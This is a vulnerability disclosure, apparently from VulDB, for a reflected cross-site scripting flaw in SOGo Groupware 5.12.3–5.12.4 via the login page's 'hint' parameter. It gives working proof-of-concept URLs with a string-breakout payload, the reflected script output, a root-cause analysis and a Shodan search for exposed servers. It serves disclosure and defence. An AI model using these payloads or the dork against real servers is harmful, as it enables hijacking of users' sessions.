| Titolo | Inverse / SOGo Community SOGo Groupware 5.12.3 - 5.12.4 Cross Site Scripting |
|---|
| Descrizione | Summary
A reflected Cross-Site Scripting (XSS) vulnerability exists in SOGo version 5.12.4 within the web login interface. The application fails to properly sanitize and encode user-controlled input passed through the hint URL parameter before embedding it into a JavaScript context.
This flaw allows remote attackers to inject and execute arbitrary JavaScript code in the context of the victim’s browser by convincing users to visit a specially crafted URL.
Vulnerable Endpoint
/SOGo?hint=
Example:
https://target-domain/SOGo?hint=<payload>
Dork:
https://www.shodan.io/search?query=title%3A%22SOGo%22
Proof of Concept (PoC)
Payloads (Examples)
https://example.com/SOGo?hint=%27-alert%28document.domain%29-%27/
https://example.com/SOGo/?hint=%27-alert%28document.domain%29-%27/
https://example.com/SOGo/?hint=%27-alert%28document.domain%29-%27/
https://example.com/SOGo/?hint=%27-alert%28document.domain%29-%27//SOGo/
Decoded payload:
'-alert(document.domain)-'/
Reflected Output
The payload is reflected in the following JavaScript context:
<script type="text/javascript">
var cookieUsername = "";
var language = 'BrazilianPortuguese';
var loginHint = ''-alert(document.domain)-'/'
</script>
This breaks out of the string and triggers JavaScript execution.
Root Cause Analysis
The vulnerability occurs because the hint parameter is embedded directly into a JavaScript variable without proper escaping:
var loginHint = '<user_input>';
No context-aware output encoding is applied. As a result, attackers can inject special characters (', ", /) to terminate the string and execute arbitrary code.
Impact
Successful exploitation allows attackers to execute arbitrary JavaScript in the context of the affected domain. |
|---|
| Fonte | ⚠️ https://www.sogo.nu/ |
|---|
| Utente | erickfernandox (UID 57733) |
|---|
| Sottomissione | 13/02/2026 05:23 (5 mesi fa) |
|---|
| Moderazione | 23/02/2026 18:55 (11 days later) |
|---|
| Stato | Accettato |
|---|
| Voce VulDB | 347412 [Alinto SOGo 5.12.3/5.12.4 hint cross site scripting] |
|---|
| Punti | 17 |
|---|